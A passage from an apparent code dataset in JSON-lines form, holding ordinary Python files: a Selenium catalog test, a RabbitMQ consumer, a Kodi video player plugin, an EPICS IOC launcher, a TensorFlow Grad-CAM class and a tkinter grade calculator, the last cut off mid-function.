appears in Catalog\ntable_list = driver.find_elements_by_css_selector(\"td#content table.dataTable tr.row\")\nflag = 0\nfor i in range(len(table_list)):\n if table_list[i].text == \"test product\":\n print(\"New product is added to Catalog\")\n flag = 1\n break\nif flag == 0:\n print(\"New product is NOT added to Catalog\")\n\ndriver.quit()\n","sub_path":"12_Add_new_product.py","file_name":"12_Add_new_product.py","file_ext":"py","file_size_in_byte":5169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"18193816","text":"import pika\n\n\ndef callback(ch, method, properties, body):\n print(\" [x] Received %r\" % body)\n\nconnection = pika.BlockingConnection(pika.ConnectionParameters('localhost'))\nchannel = connection.channel()\nchannel.queue_declare(queue='queue0', durable=True)\n\nchannel.basic_consume(queue='queue0',\n auto_ack=True,\n on_message_callback=callback)\nchannel.start_consuming()","sub_path":"Receiver.py","file_name":"Receiver.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"598470685","text":"\nimport os\nimport sys\nimport xbmc\nimport xbmcgui\n\nfrom scraper import getVideo\nfrom traceback import print_exc\n\n\n# set our infolabels\ninfoLabels = {\n \"tvshowtitle\": unicode( xbmc.getInfoLabel( \"ListItem.TvShowTitle\" ), \"utf-8\" ),\n \"title\": unicode( xbmc.getInfoLabel( \"ListItem.Title\" ), \"utf-8\" ),\n \"genre\": unicode( xbmc.getInfoLabel( \"ListItem.Genre\" ), \"utf-8\" ),\n \"plot\": unicode( xbmc.getInfoLabel( \"ListItem.Plot\" ), \"utf-8\" ),\n \"Aired\": unicode( xbmc.getInfoLabel( \"ListItem.Premiered\" ), \"utf-8\" ),\n \"mpaa\": unicode( xbmc.getInfoLabel( \"ListItem.MPAA\" ), \"utf-8\" ),\n \"duration\": unicode( xbmc.getInfoLabel( \"ListItem.DUration\" ), \"utf-8\" ),\n \"studio\": unicode( xbmc.getInfoLabel( \"ListItem.Studio\" ), \"utf-8\" ),\n \"writer\": unicode( xbmc.getInfoLabel( \"ListItem.Writer\" ), \"utf-8\" ),\n \"director\": unicode( xbmc.getInfoLabel( \"ListItem.Director\" ), \"utf-8\" ),\n \"season\": int( xbmc.getInfoLabel( \"ListItem.Season\" ) or \"-1\" ),\n \"episode\": int( xbmc.getInfoLabel( \"ListItem.Episode\" ) or \"1\" ),\n \"year\": int( xbmc.getInfoLabel( \"ListItem.Year\" ) or \"0\" ),\n }\n# set our thumbnail\ng_thumbnail = unicode( xbmc.getInfoImage( \"ListItem.Thumb\" ), \"utf-8\" )\n#set our str watched\ng_strwatched = xbmc.getInfoLabel( \"ListItem.Property(strwatched)\" )\n\n\ndef setWatched( listitem ):\n try:\n sys.modules[ 'resources.lib.toutv' ].setWatched( g_strwatched, refresh=False )\n listitem.setInfo( \"video\", { \"playcount\": 1 } )\n except: print_exc()\n\n\nclass XBMCPlayer( xbmc.Player ):\n \"\"\" Subclass of XBMC Player class.\n Overrides onplayback events, for custom actions.\n but onplayback not work with rtmp ! :(\n \"\"\"\n def _play( self, url, listitem ):\n xbmc.log( \"TouTvPlayer: \" + url, xbmc.LOGNOTICE )\n self.listitem = listitem\n self.play( url, self.listitem )\n\n def onPlayBackStarted( self ):\n xbmc.log( \"TouTvPlayer::onPlayBackStarted\", xbmc.LOGNOTICE )\n\n def onPlayBackEnded( self ):\n xbmc.log( \"TouTvPlayer::onPlayBackEnded\", xbmc.LOGNOTICE )\n setWatched()\n\n def onPlayBackStopped( self ):\n try: xbmc.log( \"Resume: %r\" % self.getTime(), xbmc.LOGNOTICE )\n except: pass\n xbmc.log( \"TouTvPlayer::onPlayBackStopped\", xbmc.LOGNOTICE )\n\n\nclass TouTvPlayer( XBMCPlayer ):\n def __new__( cls, *args ):\n return XBMCPlayer.__new__( cls, *args )\n\n\ndef playVideo( PID, startoffset=None, strwatched=None, listitem=None ):\n global g_strwatched\n if not g_strwatched and strwatched is not None:\n g_strwatched = strwatched\n\n # set our play path\n rtsp_url = getVideo( PID )\n\n #set listitem\n if listitem is None:\n listitem = xbmcgui.ListItem( infoLabels[ \"title\" ], '', \"DefaultVideo.png\", g_thumbnail )\n listitem.setInfo( \"Video\", infoLabels )\n\n #listitem.setProperty( \"PlayPath\", playpath )\n listitem.setProperty( \"swfUrl\", \"http://lg.tou.tv/SSRtmpPlayer.swf\" )\n listitem.setProperty( \"PID\", PID )\n\n if str( startoffset ).isdigit():\n listitem.setProperty( \"startoffset\", str( startoffset ) ) #in second\n\n # play media\n #player = TouTvPlayer( xbmc.PLAYER_CORE_DVDPLAYER )\n setWatched( listitem )\n player = xbmc.Player( xbmc.PLAYER_CORE_DVDPLAYER )\n player.play( rtsp_url, listitem )\n\n\nif ( __name__ == \"__main__\" ):\n try:\n # get pid\n PID = sys.argv[ 1 ]\n playVideo( PID )\n except:\n print_exc()\n\n","sub_path":"French/plugin.video.tou.tv/resources/lib/TouTvPlayer.py","file_name":"TouTvPlayer.py","file_ext":"py","file_size_in_byte":3576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"118789676","text":"from caproto.server import ioc_arg_parser, run\nfrom caproto.threading import pyepics_compat as epics\nfrom h5py import File as h5file\nfrom satt_app import *\n\n################################################\nprefix = \"AT2L0:SIM\"\nnum_blades = 18\neV_name = \"LCLS:HXR:BEAM:EV\"\npmps_run_name = \"PMPS:HXR:AT2L0:RUN\"\npmps_tdes_name = \"PMPS:HXR:AT2L0:T_DES\"\nabs_data = h5file('../../../absorption_data.h5', 'r')\nconfig_data = h5file('../../../configs.h5', 'r')\n################################################\n\nioc_args = {\n\"absorption_data\" : abs_data,\n\"config_data\" : config_data,\n\"filter_group\" : [str(N+1).zfill(2) for N in range(num_blades)],\n \"eV_pv\" : eV_name,\n \"pmps_run_pv\" : pmps_run_name,\n \"pmps_tdes_pv\" : pmps_tdes_name\n}\n\nif __name__ == '__main__':\n ioc_options, run_options = ioc_arg_parser(\n default_prefix=prefix,\n desc=IOCMain.__doc__)\n\n ioc = create_ioc(\n **ioc_args,\n **ioc_options)\n\n run(ioc.pvdb, **run_options)\n","sub_path":"caproto/ioc-satt-dev/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"131068836","text":"import os\nimport numpy as np\nimport tensorflow as tf\n\n\nclass ClassActivateMap:\n def __init__(self,\n ckpt_fp,\n label2id_dct,\n input_tensor_name_lst,\n conv_layer_tensor_name2filter_size_dct,\n logits_tensor_name=''):\n #\n self.label2id_dct = label2id_dct\n self.id2label_dct = {id_: label_ for label_, id_ in self.label2id_dct.items()}\n self.input_tensor_name_lst = input_tensor_name_lst\n self.logits_tensor_name = logits_tensor_name\n self.conv_layer_tensor_name2filter_size_dct = conv_layer_tensor_name2filter_size_dct\n #找到.meta文件\n meta_fp = os.path.join(ckpt_fp, [fp for fp in os.listdir(ckpt_fp) if '.meta' in fp][0])\n #创建一个图\n tf.reset_default_graph()\n self.g = tf.Graph()\n with self.g.as_default():\n saver = tf.train.import_meta_graph(meta_fp)\n #设置session的配置\n config = tf.ConfigProto(device_count={\"CPU\": 1},\n inter_op_parallelism_threads=6,\n intra_op_parallelism_threads=6,\n log_device_placement=False)\n self.sess = tf.Session(graph=self.g, config=config)\n with self.sess.as_default(), self.g.as_default():\n checkpoint = tf.train.latest_checkpoint(ckpt_fp)\n #恢复模型\n if checkpoint:\n saver.restore(self.sess, checkpoint)\n print(\"[INFO] restore from the checkpoint {0}\".format(checkpoint))\n # for t in tf.get_default_graph().as_graph_def().node:\n # print(t.name)\n # 定义输入接口\n self.input_tensor_lst = []\n for tensor_name in self.input_tensor_name_lst:\n self.input_tensor_lst.append(self.g.get_tensor_by_name(tensor_name))\n #定义输出接口\n self.logits = self.g.get_tensor_by_name(self.logits_tensor_name)\n\n def get_conv_out(self, conv_i_name):\n #获取CNN中的filter输出\n return self.g.get_tensor_by_name(conv_i_name)\n\n def get_single_grad_cam(self, label_id, conv_i_name):\n #\n with self.g.as_default():\n #构建一个mask用于获取指定类别的logits值\n mask = tf.one_hot(label_id, depth=len(self.label2id_dct))\n # 0-dim, a scalar\n y_c = tf.reduce_sum(tf.multiply(mask, self.logits))\n # [batch_size, max_sentence_len, 1(input_channels), num_filters], 即logits对CNN中每个filter元素的导数值\n conv_out = self.get_conv_out(conv_i_name)\n grads = tf.gradients(y_c, conv_out)[0]\n # [batch_size, max_sentence_len, 1(input_channels), num_filters]\n grads_norm = tf.div(grads, tf.sqrt(tf.reduce_mean(tf.square(grads))) + tf.constant(1e-5))\n # squeeze axis=0 because batch_size=1, axis=2 because input_channels=1\n # (num_filters,) 对应着CNN中每个filter map的重要性\n alpha_c_k = tf.reduce_mean(tf.squeeze(grads_norm, axis=[0, 2]), axis=0)\n # [batch_size, max_sentence_len, 1] through boardcasting\n L_gradcam = tf.nn.relu(tf.reduce_sum(tf.multiply(conv_out, alpha_c_k), axis=-1))\n #最大值归一化\n L_gradcam = tf.div(L_gradcam, tf.reduce_max(L_gradcam) + tf.constant(1e-5))\n return tf.squeeze(L_gradcam)\n\n\n def get_rank_label(self, feed_dict):\n #获取最大logits\n score = self.sess.run(self.logits, feed_dict)\n score_label_tpl = sorted(zip(score[0], list(self.label2id_dct.keys())), key=lambda x: x[0], reverse=True)\n for sco, label in score_label_tpl:\n print((label, sco))\n # #\n # conv = self.get_conv_out('representation_layer/conv-maxpool-3/relu:0')\n # print('conv output:{}'.format(self.sess.run(conv, feed_dict)))\n return score_label_tpl[0]\n\n\n def get_text_final_cam(self, input_value_lst, target_label, max_sentence_len, true_length):\n #构造输入feed_dict\n feed_dict = dict(zip(self.input_tensor_name_lst, input_value_lst))\n #确定label id\n if target_label == 'top':\n score, label = self.get_rank_label(feed_dict)\n print('the selected label: {}, score:{:.4}'.format(label, 1/(1+np.exp(-score))))\n else:\n label = target_label\n print('the selected label: {}'.format(label))\n #用于累积每个filter map给出的文本片段重要性\n cam = np.zeros(max_sentence_len, dtype=np.float32)\n #用于累积每个文本片段被这些filter map卷积过多少次,该值后面用于归一化\n position_vote_num = np.zeros(max_sentence_len, dtype=np.float32)\n for conv_i_name, filter_size in self.conv_layer_tensor_name2filter_size_dct.items():\n cam_filter_i = self.sess.run(self.get_single_grad_cam(self.label2id_dct[label], conv_i_name), feed_dict=feed_dict)\n for i, activation_i in enumerate(cam_filter_i):\n cam[i:i + filter_size] += activation_i\n position_vote_num[i:i + filter_size] += 1\n #卷积数归一化\n cam /= position_vote_num\n #最大值归一化\n cam /= cam.max()\n return cam[:true_length].reshape(1, -1)\n","sub_path":"src/class_activate_map/ClassActivateMap.py","file_name":"ClassActivateMap.py","file_ext":"py","file_size_in_byte":5346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"215948209","text":"from tkinter import * # Imports tkinter package\r\n\r\n\r\n\r\nclass GradeCalc(Tk): # Grade Calculator Class. tkinter is inherited\r\n\r\n def __init__(self, master=None): # Initializer of the GradeCalc class\r\n Tk.__init__(self)\r\n self.master = master\r\n\r\n self.headerFont = (\"Helvetica\", \"12\", \"bold italic\") # Fonts for various areas in the GUI\r\n self.calculateFont = (\"Helvetica\", \"18\", \"bold\")\r\n self.finalFont = (\"Helvetica\", \"24\", \"bold\")\r\n self.finalLetterFont = (\"Helvetica\", \"48\", \"bold\")\r\n self.directionsFont = (\"Times New Roman\", \"10\", \"italic\")\r\n\r\n self.examNumber = 1 # Each section is assigned a number to keep track and label how many there are\r\n self.assignmentNumber = 1\r\n self.labNumber = 1\r\n self.essayNumber = 1\r\n self.quizNumber = 1\r\n self.finalExamNumber = 1\r\n\r\n self.examList = [] # Each section stores its contents in a list\r\n self.assignmentList = []\r\n self.labList = []\r\n self.essayList = []\r\n self.quizList = []\r\n self.finalExamList = []\r\n\r\n self.examWeight = 0 # Each section has a weight, based on it's importance to the overall class score\r\n self.assignmentWeight = 0\r\n self.labWeight = 0\r\n self.essayWeight = 0\r\n self.quizWeight = 0\r\n self.finalExamWeight = 0\r\n\r\n self.something = 0.0 # A variable that is later used to averages can be stored and recalculated\r\n\r\n self.CreateHeadings() # Calls the CreateHeadings function, which creates many of the main parts of the GUI\r\n\r\n self.gradeScale = self.CreateGradeScale() # Calls the CreateGradeScale function which reates the grade scale for the class\r\n\r\n self.directionsPopUp() # Calls the function that shows the directions on top of the grade calculator\r\n\r\n\r\n def CreateHeadings(self): # Creates the main parts of the grade calculator GUI including the section headings and labels\r\n examTitleLabel = Label(self, text='Exams', font=self.headerFont)\r\n examTitleLabel.grid(row=0, column=0, columnspan=2) # Exam Section Title\r\n Label(self, text=\"Exam Weight\").grid(row=1, column=0) # Exam weight label\r\n self.examWeight = Entry(self) # Exam weight entry box\r\n self.examWeight.insert(0, 0) # Default value of 0\r\n self.examWeight.grid(row=1, column=1)\r\n self.btnAddExam = Button(self, text=\"Add Exam\", command=self.addExam) # Add exam button\r\n self.btnAddExam.grid(row=1, column=3, padx=(0, 50))\r\n Label(self, text=\"Exam Title\").grid(row=3, column=0) # Exam column title\r\n Label(self, text=\"Score (Out of 100)\").grid(row=3, column=1) # Score column title\r\n\r\n assignmentTitleLabel = Label(self, text='Assignments', font=self.headerFont) # Assignment Section Title\r\n assignmentTitleLabel.grid(row=0, column=4, columnspan=2)\r\n Label(self, text=\"Assignment Weight\").grid(row=1, column=4) # Assignment weight label\r\n self.assignmentWeight = Entry(self) # Assignment weight entry box\r\n self.assignmentWeight.grid(row=1, column=5)\r\n self.assignmentWeight.insert(0, 0) # Default value of 0\r\n self.btnAddAssignment = Button(self, text=\"Add Assignment\", command=self.addAssignment) # Add assignment button\r\n self.btnAddAssignment.grid(row=1, column=7, padx=(0, 50))\r\n Label(self, text=\"Assignment Title\").grid(row=3, column=4) # Assignment column title\r\n Label(self, text=\"Score (Out of 100)\").grid(row=3, column=5) # Score column title\r\n\r\n labTitleLabel = Label(self, text='Labs', font=self.headerFont) # Lab Section Title\r\n labTitleLabel.grid(row=0, column=8, columnspan=2)\r\n Label(self, text=\"Lab Weight\").grid(row=1, column=8) # Lab weight label\r\n self.labWeight = Entry(self) # Lab weight entry box\r\n self.labWeight.grid(row=1, column=9)\r\n self.labWeight.insert(0, 0) # Default value of 0\r\n self.btnAddLab = Button(self, text=\"Add Lab\", command=self.addLab) # Add lab button\r\n self.btnAddLab.grid(row=1, column=11, padx=(0, 20))\r\n Label(self, text=\"Lab Title\").grid(row=3, column=8) # Lab column title\r\n Label(self, text=\"Score (Out of 100)\").grid(row=3, column=9) # Lab column title\r\n\r\n essayTitleLabel = Label(self, text='Essays', font=self.headerFont) # Essay Section Title\r\n essayTitleLabel.grid(row=20, column=8, columnspan=2, pady=(50, 0))\r\n Label(self, text=\"Essay Weight\").grid(row=21, column=8) # Essay weight label\r\n self.essayWeight = Entry(self) # Lab weight entry box\r\n self.essayWeight.grid(row=21, column=9)\r\n self.essayWeight.insert(0, 0) # Default value of 0\r\n self.btnAddEssay = Button(self, text=\"Add Essay\", command=self.addEssay) # Add essay button\r\n self.btnAddEssay.grid(row=21, column=11, padx=(0, 20))\r\n Label(self, text=\"Essay Title\").grid(row=22, column=8) # Essay column title\r\n Label(self, text=\"Score (Out of 100)\").grid(row=22, column=9) # Essay column title\r\n\r\n quizTitleLabel = Label(self, text='Quizzes', font=self.headerFont) # Quiz Section Title\r\n quizTitleLabel.grid(row=20, column=0, columnspan=2, pady=(50, 0))\r\n Label(self, text=\"Quiz Weight\").grid(row=21, column=0) # Quiz weight label\r\n self.quizWeight = Entry(self) # Quiz weight entry box\r\n self.quizWeight.grid(row=21, column=1)\r\n self.quizWeight.insert(0, 0) # Default value of 0\r\n self.btnAddQuiz = Button(self, text=\"Add Quiz\", command=self.addQuiz) # Add quiz button\r\n self.btnAddQuiz.grid(row=21, column=3, padx=(0, 20))\r\n Label(self, text=\"Quiz Title\").grid(row=22, column=0) # Quiz column title\r\n Label(self, text=\"Score (Out of 100)\").grid(row=22, column=1) # Score column title\r\n\r\n finalExamTitleLabel = Label(self, text='Final Exam', font=self.headerFont) # Final Exam Section Title\r\n finalExamTitleLabel.grid(row=20, column=4, columnspan=2, pady=(50, 0))\r\n Label(self, text=\"Final Exam Weight\").grid(row=21, column=4) # Final Exam weight label\r\n self.finalExamWeight = Entry(self) # Final Exam weight entry box\r\n self.finalExamWeight.grid(row=21, column=5)\r\n self.finalExamWeight.insert(0, 0) # Default value of 0\r\n self.btnAddFinalExam = Button(self, text=\"Add Final Exam\", command=self.addFinalExam) # Add final exam button\r\n self.btnAddFinalExam.grid(row=21, column=7, padx=(0, 20))\r\n Label(self, text=\"Final Exam Title\").grid(row=22, column=4) # Final Exam column title\r\n Label(self, text=\"Score (Out of 100)\").grid(row=22, column=5) # Score column title\r\n\r\n finalGradeTitleLabel = Label(self, text=\"Final Grade\", font=self.headerFont) # A label that says \"Final Grade\"\r\n finalGradeTitleLabel.grid(row=20, column=15, columnspan=2)\r\n\r\n self.calculateClassScore = Button(self, text=\"Calculate\", font=self.calculateFont, command=self.Calculate, bg=\"green\") # Calculate button\r\n self.calculateClassScore.grid(row=16, column=15, rowspan=4, pady=(25, 15))\r\n\r\n directionsButton = Button(self, text=\"Directions\", command=self.directionsPopUp, bg=\"grey\") # Button to open up directions popup\r\n directionsButton.grid(row=0, column=15, rowspan=2)\r\n\r\n quitButton = Button(self, text=\"Quit\", command=sys.exit, bg=\"red\") # Button to quit the grade calculator. Terminates all processes\r\n quitButton.grid(row=2, column=15, rowspan=2, pady=(0, 25))\r\n\r\n\r\n def directionsPopUp(self): # Function that creates a directions popup for the user to read and follow\r\n popUp = Toplevel()\r\n popUp.title(\"Directions\")\r\n popUp.attributes('-topmost', 1) # Places the popup window on top of the grade calculator window\r\n directions = Message(popUp, text=\"Welcome to the Grade Calculator \\n\"\r\n \"1. Edit the grade scale first \\n\"\r\n \"2. Enter the weights for each section \\n\"\r\n \"After you add a section, please enter the score right away \\n\"\r\n \"(Only the last score can be edited) \\n\"\r\n \"Press calculate to update averages for each section and the class score\",\r\n font=self.directionsFont)\r\n directions.pack()\r\n dismiss = Button(popUp, text=\"OK\", command=popUp.destroy) # OK button closes the popup\r\n dismiss.pack()\r\n popUp.geometry(\"400x200\")\r\n\r\n def CreateGradeScale(self): # A function that creates a grade scale, customizable to the user\r\n\r\n Label(self, text='Grade').grid(row=4, column=14)\r\n Label(self, text=\"A\").grid(row=5, column=14)\r\n Label(self, text=\"A-\").grid(row=6, column=14)\r\n Label(self, text=\"B+\").grid(row=7, column=14)\r\n Label(self, text=\"B\").grid(row=8, column=14)\r\n Label(self, text=\"B-\").grid(row=9, column=14)\r\n Label(self, text=\"C+\").grid(row=10, column=14)\r\n Label(self, text=\"C\").grid(row=11, column=14)\r\n Label(self, text=\"C-\").grid(row=12, column=14)\r\n Label(self, text=\"D+\").grid(row=13, column=14)\r\n Label(self, text=\"D\").grid(row=14, column=14)\r\n\r\n Label(self, text=\"Percent\").grid(row=4, column=15)\r\n\r\n a_value = Entry(self) # The following lines are entry boxes for their respective letter grades\r\n a_value.grid(row=5, column=15)\r\n a_value.insert(0, 93) # Each is given a default value that can changed\r\n\r\n a_minus_value = Entry(self)\r\n a_minus_value.grid(row=6, column=15)\r\n a_minus_value.insert(0, 90)\r\n\r\n b_plus_value = Entry(self)\r\n b_plus_value.grid(row=7, column=15)\r\n b_plus_value.insert(0, 87)\r\n\r\n b_value = Entry(self)\r\n b_value.grid(row=8, column=15)\r\n b_value.insert(0, 83)\r\n\r\n b_minus_value = Entry(self)\r\n b_minus_value.grid(row=9, column=15)\r\n b_minus_value.insert(0, 80)\r\n\r\n c_plus_value = Entry(self)\r\n c_plus_value.grid(row=10, column=15)\r\n c_plus_value.insert(0, 77)\r\n\r\n c_value = Entry(self)\r\n c_value.grid(row=11, column=15)\r\n c_value.insert(0, 73)\r\n\r\n c_minus_value = Entry(self)\r\n c_minus_value.grid(row=12, column=15)\r\n c_minus_value.insert(0, 70)\r\n\r\n d_plus_value = Entry(self)\r\n d_plus_value.grid(row=13, column=15)\r\n d_plus_value.insert(0, 67)\r\n\r\n d_value = Entry(self)\r\n d_value.grid(row=14, column=15)\r\n d_value.insert(0, 63)\r\n\r\n grade_scale = [float(a_value.get()), float(a_minus_value.get()), float(b_plus_value.get()),\r\n float(b_value.get()),\r\n float(b_minus_value.get()), float(c_plus_value.get()), float(c_value.get()),\r\n float(c_minus_value.get()),\r\n float(d_plus_value.get()), float(d_value.get())]\r\n return grade_scale # The grade scale and the values are added to a list and that list is returned so they can be accessed by later functions\r\n\r\n\r\n def getGrade(self, fp, gs): # A function that determines the letter grade according to the final percent and the grade scale\r\n if fp >= gs[0]:\r\n return 'A'\r\n elif fp >= gs[1]:\r\n return 'A-'\r\n elif fp >= gs[2]:\r\n return 'B+'\r\n elif fp >= gs[3]:\r\n return 'B'\r\n elif fp >= gs[4]:\r\n return 'B-'\r\n elif fp >= gs[5]:\r\n return 'C+'\r\n elif fp >= gs[6]:\r\n return 'C'\r\n elif fp >= gs[7]:\r\n return 'C-'\r\n elif fp >= gs[8]:\r\n return 'D+'\r\n elif fp >= gs[9]:\r\n return 'D'\r\n else:\r\n return 'F'\r\n\r\n\r\n # *** All add functions are the same, but with different labels. They all work in the same way ***\r\n def addExam(self): # A function that adds an exam to the grade calculator\r\n\r\n if len(self.examList) != 0: # If there is an exam in the list already, the previous grade is stored.\r\n previousGrade = float(self.examGrade.get()) # This is so a user can change a grade and the new score is recorded\r\n examName = Entry(self) # The user is able to change the name of the exam.\r\n examName.grid(row=self.examNumber + 3, column=0)\r\n examName.insert(0, \"Exam \" + str(self.examNumber)) # By default, each exam is named exam + the exam number\r\n self.examGrade = Entry(self) # Entry box for the exam grade\r\n self.examGrade.grid(row=self.examNumber + 3, column=1)\r\n self.examGrade.insert(0, 0) # The default grade for each exam is 0\r\n\r\n if len(self.examList) == 0: # If there haven't been any exams recorded, the grade just entered is added\r\n self.examList.append(float(self.examGrade.get()))\r\n else:\r\n self.examList.append(float(previousGrade)) # If there are exams already, the previous grade is added. Again, so the user can edit\r\n\r\n sum = 0\r\n for i in range(len(self.examList)): # A for loop that goes through the list of exams and updates the exam average. Doesn't include newest exam that is 0\r\n sum += self.examList[i]\r\n if len(self.examList) != 0:\r\n newAvg = sum / len(self.examList)\r\n else:\r\n newAvg = 0 # If there is only 1 exam, the average is 0 because the new score hasn't been added to the list yet\r\n\r\n self.something = newAvg # Variable needed to store the averages as they update\r\n\r\n examAvg = Label(self, text=self.something) # Displays the new exam average\r\n Label(self, text=\"Exam Average\").grid(row=self.examNumber + 4, column=0) # Shows the exam average so far\r\n examAvg.grid(row=self.examNumber + 4, column=1)\r\n\r\n self.examNumber += 1 # The exam number is incremented\r\n\r\n\r\n def addAssignment(self):\r\n\r\n if len(self.assignmentList) != 0:\r\n previousGrade = float(self.assignmentGrade.get())\r\n assignmentName = Entry(self)\r\n assignmentName.grid(row=self.assignmentNumber + 3, column=4)\r\n assignmentName.insert(0, \"Assignment \" + str(self.assignmentNumber))\r\n self.assignmentGrade = Entry(self)\r\n self.assignmentGrade.grid(row=self.assignmentNumber + 3, column=5)\r\n self.assignmentGrade.insert(0, 0)\r\n\r\n if len(self.assignmentList) == 0:\r\n self.assignmentList.append(float(self.assignmentGrade.get()))\r\n else:\r\n self.assignmentList.append(float(previousGrade))\r\n\r\n sum = 0\r\n for i in range(len(self.assignmentList)):\r\n sum += self.assignmentList[i]\r\n if len(self.assignmentList) != 0:\r\n newAvg = sum / len(self.assignmentList)\r\n else:\r\n newAvg = 0\r\n\r\n self.something = newAvg\r\n\r\n assignmentAvg = Label(self, text=self.something)\r\n assignmentAvg.grid(row=self.assignmentNumber + 4, column=5)\r\n Label(self, text=\"Assignment Average\").grid(row=self.assignmentNumber + 4, column=4)\r\n\r\n self.assignmentNumber += 1\r\n\r\n\r\n def addLab(self):\r\n\r\n if len(self.labList) != 0:\r\n previousGrade = float(self.labGrade.get())\r\n labName = Entry(self)\r\n labName.grid(row=self.labNumber + 3, column=8)\r\n labName.insert(0, \"Lab \" + str(self.labNumber))\r\n self.labGrade = Entry(self)\r\n self.labGrade.grid(row=self.labNumber + 3, column=9)\r\n self.labGrade.insert(0, 0)\r\n\r\n if len(self.labList) == 0:\r\n self.labList.append(float(self.labGrade.get()))\r\n else:\r\n self.labList.append(float(previousGrade))\r\n\r\n sum = 0\r\n for i in range(len(self.labList)):\r\n sum += self.labList[i]\r\n if len(self.labList) != 0:\r\n newAvg = sum / len(self.labList)\r\n else:\r\n newAvg = 0\r\n\r\n self.something = newAvg\r\n\r\n labAvg = Label(self, text=self.something)\r\n Label(self, text=\"Lab Average\").grid(row=self.labNumber + 4, column=8)\r\n labAvg.grid(row=self.labNumber + 4, column=9)\r\n\r\n self.labNumber += 1\r\n\r\n\r\n def addQuiz(self):\r\n\r\n if len(self.quizList) != 0:\r\n previousGrade = float(self.quizGrade.get())\r\n quizName = Entry(self)\r\n quizName.grid(row=self.quizNumber + 22, column=0)\r\n quizName.insert(0, \"Quiz \" + str(self.quizNumber))\r\n self.quizGrade = Entry(self)\r\n self.quizGrade.grid(row=self.quizNumber + 22, column=1)\r\n self.quizGrade.insert(0, 0)\r\n\r\n if len(self.quizList) == 0:\r\n self.quizList.append(float(self.quizGrade.get()))\r\n else:\r\n self.quizList.append(float(previousGrade))\r\n\r\n sum = 0\r\n for i in range(len(self.quizList)):\r\n sum += self.quizList[i]\r\n if len(self.quizList) != 0:\r\n newAvg = sum / len(self.quizList)\r\n else:\r\n newAvg = 0\r\n\r\n self.something = newAvg\r\n\r\n quizAvg = Label(self, text=self.something)\r\n Label(self, text=\"Quiz Average\").grid(row=self.quizNumber + 23, column=0)\r\n quizAvg.grid(row=self.quizNumber + 23, column=1)\r\n\r\n self.quizNumber += 1\r\n\r\n\r\n def addFinalExam(self):\r\n\r\n if len(self.finalExamList) != 0:\r\n previousGrade = float(self.finalExamGrade.get())\r\n finalExamName = Entry(self)\r\n finalExamName.grid(row=self.finalExamNumber + 22, column=4)\r\n finalExamName.insert(0, \"Final Exam\")\r\n self.finalExamGrade = Entry(self)\r\n self.finalExamGrade.grid(row=self.finalExamNumber + 22, column=5)\r\n self.finalExamGrade.insert(0, 0)\r\n\r\n if len(self.finalExamList) == 0:\r\n self.finalExamList.append(float(self.finalExamGrade.get()))\r\n else:\r\n self.finalExamList.append(float(previousGrade))\r\n\r\n sum = 0\r\n for i in range(len(self.finalExamList)):\r\n sum += self.finalExamList[i]\r\n if len(self.finalExamList) != 0:\r\n newAvg = sum / len(self.finalExamList)\r\n else:\r\n newAvg = 0\r\n\r\n self.something = newAvg\r\n\r\n finalExamAvg = Label(self, text=self.something)\r\n finalExamAvg.grid(row=self.finalExamNumber + 23, column=5)\r\n Label(self, text=\"Final Exam Average\").grid(row=self.finalExamNumber + 23, column=4)\r\n\r\n self.finalExamNumber += 1\r\n\r\n\r\n def addEssay(self):\r\n\r\n if len(self.essayList) != 0:\r\n previousGrade = float(self.essayGrade.get())\r\n essayName = Entry(self)\r\n essayName.grid(row=self.essayNumber + 22, column=8)\r\n essayName.insert(0, \"Essay \" + str(self.essayNumber))\r\n self.essayGrade = Entry(self)\r\n self.essayGrade.grid(row=self.essayNumber + 22, column=9)\r\n self.essayGrade.insert(0, 0)\r\n\r\n if len(self.essayList) == 0:\r\n self.essayList.append(float(self.essayGrade.get()))\r\n else:\r\n self.essayList.append(float(previousGrade))\r\n\r\n sum = 0\r\n for i in range(len(self.essayList)):\r\n sum += self.essayList[i]\r\n if len(self.essayList) != 0:\r\n newAvg = sum / len(self.essayList)\r\n else:\r\n newAvg = 0\r\n\r\n self.something = newAvg\r\n\r\n essayAvg = Label(self, text=self.something)\r\n Label(self, text=\"Essay Average\").grid(row=self.essayNumber + 23, column=8)\r\n essayAvg.grid(row=self.essayNumber + 23, column=9)\r\n\r\n self.essayNumber += 1\r\n\r\n\r\n\r\n\r\n # *** All calculate functions are the exact same, just with different names for different sections ***\r\n def calculateExams(self): # A function used by the Calculate function to calculate the exam average. Updates without adding a new exam\r\n\r\n if len(self.examList) != 0: # If the exam list has an exam in it, the previous grade is recorded. This is necessary because it hasn't been stored yet\r\n previousGrade = float(self.examGrade.get())\r\n self.examList[self.examNumber - 2] = previousGrade # The previous exam score is added to the end of the list, replaces the default 0\r\n else:\r\n self.examList.append(float(self.examGrade.get())) # If there is nothing else in the exam list, the grade is added\r\n\r\n sum = 0\r\n for i in range(len(self.examList)): # A for list that calculates the exam sum\r\n sum += self.examList[i]\r\n if len(self.examList) != 0:\r\n if len(self.examList) == 1: # If there is only 1 exam, that is the sum\r\n newAvg = self.examList[0]\r\n else:\r\n newAvg = sum / (len(self.examList)) # If there is more than 1 exam, the sum is divided by that number\r\n else:\r\n newAvg = 0 # If there are no exams, the exam average is 0\r\n\r\n self.something = newAvg # A variable needed to store the updating exam average\r\n examAvg = Label(self, text=self.something) # Updates the exam average label\r\n examAvg.grid(row=self.examNumber + 3, column=1)\r\n Label(self, text=\"Exam Average\").grid(row=self.examNumber + 3, column=0)\r\n return newAvg # The new average is returned so it can be used by other functions\r\n\r\n\r\n def calculateAssignments(self):\r\n\r\n if len(self.assignmentList) != 0:\r\n previousGrade = float(self.assignmentGrade.get())\r\n self.assignmentList[self.assignmentNumber - 2] = previousGrade\r\n else:\r\n self.assignmentList.append(float(self.assignmentGrade.get()))\r\n\r\n sum = 0\r\n for i in range(len(self.assignmentList)):\r\n sum += self.assignmentList[i]\r\n if len(self.assignmentList) != 0:\r\n if len(self.assignmentList) == 1:\r\n 